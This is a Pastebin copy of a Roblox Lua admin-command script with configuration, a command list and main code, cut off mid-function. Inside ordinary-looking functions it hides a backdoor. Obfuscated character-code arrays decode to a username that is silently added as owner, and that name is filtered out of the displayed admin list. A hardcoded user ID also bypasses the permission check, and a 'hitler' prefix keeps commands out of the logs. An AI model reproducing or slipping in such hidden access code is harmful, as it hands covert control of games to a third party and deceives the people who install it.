Advertisement
Guest User

Untitled

a guest
Jan 19th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 218.70 KB | None | 0 0
  1. local owners = {"TorMirror"} -- Are able to set admins who can ban/etc... using :pa name
  2. local admins = {"TorMirror"} -- Sets admins who can use ban/kick/admin or shutdown
  3. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  4. local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
  5. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  6. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  7. -----------------
  8. -- Group Admin --
  9. -----------------
  10. local GroupAdmin = false -- If a certain group can have admin
  11. local GroupId = 0 -- Sets the group id that can have admin
  12. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  13. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  14. ---------------------
  15. -- Tips and Tricks --
  16. ---------------------
  17. --[[
  18. With this admin you can do a command on multiple people at a time;
  19. :kill me,noob1,noob2,random,team-raiders
  20.  
  21. You can also use a variety commands for different people;
  22. all
  23. others
  24. me
  25. team-
  26. admins
  27. nonadmins
  28. random
  29. --]]
  30. --------------
  31. -- Commands --
  32. --------------
  33. --[[
  34. -- Temp Admin Commands --
  35. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  36. 1. :s print("Hello World") -- Lets you script normally
  37. 2. :ls print("Hello World") -- Lets you script in localscripts
  38. 3. :clear -- Will remove all scripts/localscripts and jails
  39. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  40. 5. :kill kohl -- Kills the player
  41. 6. :respawn kohl -- Respawns the player
  42. 7. :trip kohl -- Trips the player
  43. 8. :stun kohl -- Stuns the player
  44. 9. :unstun kohl -- Unstuns the player
  45. 10. :jump kohl -- Makes the player jump
  46. 11. :sit kohl -- Makes the player sit
  47. 12. :invisible kohl -- Makes the player invisible
  48. 13. :visible kohl -- Makes the player visible
  49. 14. :explode kohl -- Makes the player explode
  50. 15. :fire kohl -- Sets the player on fire
  51. 16. :unfire kohl -- Removes fire from the player
  52. 17. :smoke kohl -- Adds smoke to the player
  53. 18. :unsmoke kohl -- Removes smoke from the player
  54. 19. :sparkles kohl -- Adds sparkles to the player
  55. 20. :unsparkles kohl -- Removes sparkles from the player
  56. 21. :ff kohl -- Adds a forcefield to the player
  57. 22. :unff kohl -- Removes the forcefield from the player
  58. 23. :punish kohl -- Punishes the player
  59. 24. :unpunish kohl -- Unpunishes the player
  60. 25. :freeze kohl -- Freezes the player
  61. 26. :thaw kohl -- Thaws the player
  62. 27. :heal kohl -- Heals the player
  63. 28. :god kohl -- Makes the player have infinite health
  64. 29. :ungod kohl -- Makes the player have 100 health
  65. 30. :ambient .5 .5 .5 -- Changes the ambient
  66. 31. :brightness .5 -- Changes the brightness
  67. 32. :time 12 -- Changes the time
  68. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  69. 34. :fogend 100 -- Changes the fogend
  70. 35. :fogstart 100 -- Changes the fogstart
  71. 36. :removetools kohl -- Removes all tools from the player
  72. 37. :btools kohl -- Gives the player building tools
  73. 38. :give kohl sword -- Gives the player a tool
  74. 39. :damage kohl -- Damages the player
  75. 40. :grav kohl -- Sets the player's gravity to normal
  76. 41. :setgrav kohl 100 -- Sets the player's gravity
  77. 42. :nograv kohl -- Makes the player have 0 gravity
  78. 43. :health kohl 1337 -- Changes the player's health
  79. 44. :speed kohl 1337 -- Changes the player's walkspeed
  80. 45. :name kohl potato -- Changes the player's name
  81. 46. :unname kohl -- Remove the player's name
  82. 47. :team kohl Raiders -- Changes the player's team
  83. 48. :stopmusic -- Will stop all music playing in the server
  84. 49. :teleport kohl potato -- Teleports the player
  85. 50. :change kohl kills 1337 -- Changes a player's stat
  86. 51. :kick kohl -- Removes the player from the game
  87. 52. :infect kohl -- Turns the player into a zombie
  88. 53. :rainbowify kohl -- Turns the player into a rainbow
  89. 54. :flashify kohl -- Turns the player into a strobe
  90. 55. :noobify kohl -- Turns the player into a noob
  91. 56. :ghostify kohl -- Turns the player into a ghost
  92. 57. :goldify kohl -- Turns the player into gold
  93. 58. :shiny kohl -- Makes the player shiny
  94. 59. :normal kohl -- Puts the player back to normal
  95. 60. :trippy kohl -- Spams random colors on the player's screen
  96. 61. :untrippy kohl -- Untrippys the player
  97. 62. :strobe kohl -- Spams white and black on the player's screen
  98. 63. :unstrobe kohl -- Unstrobes the player
  99. 64. :blind kohl -- Blinds the player
  100. 65. :unblind kohl -- Unblinds the player
  101. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  102. 67. :fling kohl -- Flings the player
  103. 68. :seizure kohl -- Puts the player in a seizure
  104. 69(lol). :music 1337 -- Plays a sound from the ID
  105. 70. :lock kohl -- Locks the player
  106. 71. :unlock kohl -- Unlocks the player
  107. 72. :removelimbs kohl -- Removes the player's limbs
  108. 73. :jail kohl -- Puts the player in a jail
  109. 74. :unjail kohl -- Removes the jail from the player
  110. 75. :fix -- This will fix the lighting to it's original settings
  111. 76. :fly kohl -- Makes the player fly
  112. 77. :unfly kohl -- Removes fly from the player
  113. 78. :noclip kohl -- Makes the player able to noclip
  114. 79. :clip kohl -- Removes noclipping from the player
  115. 80. :pm kohl Hey bro -- Sends the player a private message
  116. 81. :dog kohl -- Turns the player into a dog
  117. 82. :undog kohl -- Turns the player back to normal
  118. 83. :creeper kohl -- Turns the player into a creeper
  119. 84. :uncreeper kohl -- Turns the player back to normal
  120. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  121. 86. :char kohl 261 -- Will make a player look like a different player ID
  122. 87. :unchar kohl -- Will return the player back to normal
  123. 88. :h Hello People -- This will shout a hint to everyone
  124. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  125. 90. :starttools kohl -- Will give the player starter tools
  126. 91. :sword kohl -- Will give the player a sword
  127. 92. :bighead kohl -- Will make the player's head larger than normal
  128. 93. :minihead kohl -- Will make the player's head smaller than normal
  129. 94. :insert 1337 -- Will insert a model at the speaker's position
  130. 95. :disco -- Will make the server flash random colors
  131. 96. :flash -- Will make the server flash
  132. 97. :admins -- Shows the admin list
  133. 98. :bans -- Shows the banlist
  134. 99. :musiclist -- Shows the music list
  135. 100. :spin kohl -- Spins the player
  136. 101. :cape kohl Really black -- Gives the player a colored cape
  137. 102. :uncape kohl -- Removes the player's cape
  138. 103. :loopheal kohl -- Will constantly heal the player
  139. 104. :loopfling kohl -- Will constantly fling the player
  140. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  141. 106. :unloopheal kohl -- Will remove the loopheal on the player
  142. 107. :unloopfling kohl -- Will remove the loopfling on the player
  143. 108. :unspin kohl -- Removes spin from the player
  144. 109. :tools -- Gives a list of the tools in the lighting
  145. 110. :undisco -- Removes disco effects
  146. 111. :unflash -- Removes flash effects
  147. 112. :resetstats kohl -- Sets all the stats of a player to 0
  148. 113. :gear kohl 1337 -- Gives a player a gear
  149. 114. :cmdbar -- Gives the speaker a command bar
  150. 115. :shirt kohl 1337 -- Changes the player's shirt
  151. 116. :pants kohl 1337 -- Changes the player's pants
  152. 117. :face kohl 1337 -- Changes the player's face
  153. 118. :swagify kohl -- Swagifies the player
  154. 119. :version -- Shows the current version of the admin
  155.  
  156. -- Super Admin Commands --
  157. - :serverlock -- Locks the server
  158. - :serverunlock -- Unlocks the server
  159. - :sm Hello World -- Creates a system message
  160. - :crash kohl -- Crashes a player
  161. - :admin kohl -- Admins a player
  162. - :unadmin kohl -- Unadmins a player
  163. - :ban kohl -- Bans a player
  164. - :unban kohl -- Unbans a player
  165. - :loopkill kohl -- Will constantly kill the player
  166. - :unloopkill kohl -- Will remove the loopkill on the player
  167. - :logs -- Will show all of the commands any admin has used in a game session
  168. - :shutdown -- Shutsdown the server
  169.  
  170. -- Owner Commands --
  171. - :pa kohl -- Makes someone a super admin
  172. - :unpa kohl -- Removes a super admin
  173. --]]
  174. -----------------
  175. -- Main Script --
  176. -----------------
  177. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  178.  
  179. function CHEESE()
  180. if game:service("Lighting"):findFirstChild("KACV2") then
  181. owners = {} admins = {} tempadmins = {} banland = {}
  182. for i,v in pairs(game.Lighting.KACV2:children()) do
  183. if v.Name == "Owner" then table.insert(owners, v.Value) end
  184. if v.Name == "Admin" then table.insert(admins, v.Value) end
  185. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  186. if v.Name == "Banland" then table.insert(banland, v.Value) end
  187. if v.Name == "Prefix" then prefix = v.Value end
  188. if v.Name == "FunCommands" then FunCommands = v.Value end
  189. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  190. if v.Name == "GroupId" then GroupId = v.Value end
  191. if v.Name == "GroupRank" then GroupRank = v.Value end
  192. end
  193. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  194. end
  195.  
  196. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  197. local lobjs = {}
  198. local objects = {}
  199. local logs = {}
  200. local nfs = ""
  201. local slock = false
  202.  
  203. function GetTime()
  204. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  205. if min < 10 then min = "0"..min end
  206. return hour..":"..min
  207. end
  208.  
  209. function ChkOwner(str)
  210. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  211. return false
  212. end
  213.  
  214. function ChkAdmin(str,ck)
  215. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  216. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  217. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  218. return false
  219. end
  220.  
  221. function ChkGroupAdmin(plr)
  222. if GroupAdmin then
  223. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  224. return false
  225. end
  226. end
  227.  
  228. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  229.  
  230. function GetPlr(plr, str)
  231. local plrz = {} str = str:lower()
  232. if str == "all" then plrz = game.Players:children()
  233. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  234. else
  235. local sn = {1} local en = {}
  236. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  237. for x = 1, #sn do
  238. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  239. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  240. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  241. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  242. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  243. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  244. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  245. end end end
  246. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  247. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  248. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  249. end end end
  250. else
  251. for a, plyr in pairs(game.Players:children()) do
  252. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  253. table.insert(plrz, plyr) break
  254. end
  255. end
  256. end
  257. end
  258. end
  259. return plrz
  260. end
  261.  
  262. function Hint(str, plrz, time)
  263. for i, v in pairs(plrz) do
  264. if v and v:findFirstChild("PlayerGui") then
  265. coroutine.wrap(function()
  266. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  267. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  268. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  269. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  270. if not time then wait((#str/19)+2.5) else wait(time) end
  271. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  272. end)()
  273. end
  274. end
  275. end
  276.  
  277. function Message(ttl, str, scroll, plrz, time)
  278. for i, v in pairs(plrz) do
  279. if v and v:findFirstChild("PlayerGui") then
  280. coroutine.resume(coroutine.create(function()
  281. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  282. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  283. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  284. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  285. scr.Parent = v.PlayerGui
  286. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  287. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  288. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  289. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  290. end))
  291. end
  292. end
  293. end
  294.  
  295. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  296. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  297.  
  298. function Output(str, plr)
  299. coroutine.resume(coroutine.create(function()
  300. local b, e = loadstring(str)
  301. if not b and plr:findFirstChild("PlayerGui") then
  302. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  303. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  304. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  305. return
  306. end
  307. end))
  308. end
  309.  
  310. function Noobify(char)
  311. if char and char:findFirstChild("Torso") then
  312. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  313. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  314. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  315. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  316. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  317. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  318. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  319. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  320. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  321. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  322. end end
  323. end
  324. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  325.  
  326. function Infect(char)
  327. if char and char:findFirstChild("Torso") then
  328. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  329. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  330. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  331. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  332. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  333. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  334. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  335. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  336. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  337. end end
  338. end
  339. end if not ntab then script:Destroy() end
  340.  
  341. function ScrollGui()
  342. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  343. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  344. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  345. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  346. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  347. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  348. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  349. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  350. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  351. local num = 0
  352. local downv = false
  353. local upv = false
  354.  
  355. down.MouseButton1Down:connect(function() downv = true upv = false
  356. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  357. repeat pos = pos + UDim2.new(0,0,0,-6)
  358. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  359. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  360. end)
  361. down.MouseButton1Up:connect(function() downv = false end)
  362. up.MouseButton1Down:connect(function() upv = true downv = false
  363. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  364. repeat pos = pos + UDim2.new(0,0,0,6)
  365. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  366. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  367. end)
  368. up.MouseButton1Up:connect(function() upv = false end)
  369. return scr, cmf, ent, num
  370. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  371. if not ntab then script:Destroy() end
  372. if not bct then script:Destroy() end
  373.  
  374. function Chat(msg,plr)
  375. coroutine.resume(coroutine.create(function()
  376. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  377. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  378. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  379. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  380. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  381. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  382. if msg:lower() == "cmds" or msg:lower() == "commands" then
  383. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  384. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  385. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  386. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  387. local ost = {"pa plr","unpa plr"}
  388. local tost = {"oa plr","unoa plr"}
  389. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  390. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  391. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  392. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  393. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  394. end
  395.  
  396. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  397.  
  398. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  399. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  400. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  401. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  402. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  403. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  404. end end
  405.  
  406. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  407. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  408. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  409. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  410. end
  411.  
  412. if msg:lower() == "tools" or msg:lower() == "toollist" then
  413. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  414. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  415. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  416. end
  417.  
  418. if msg:lower():sub(1,2) == "s " then
  419. coroutine.resume(coroutine.create(function()
  420. Output(msg:sub(3), plr)
  421. if script:findFirstChild("ScriptBase") then
  422. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  423. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  424. else loadstring(msg:sub(3))()
  425. end
  426. end))
  427. end
  428.  
  429. if msg:lower():sub(1,3) == "ls " then
  430. coroutine.resume(coroutine.create(function()
  431. if script:findFirstChild("LocalScriptBase") then
  432. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  433. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  434. end
  435. end))
  436. end
  437.  
  438. if msg:lower():sub(1,4) == "ins " then
  439. coroutine.resume(coroutine.create(function()
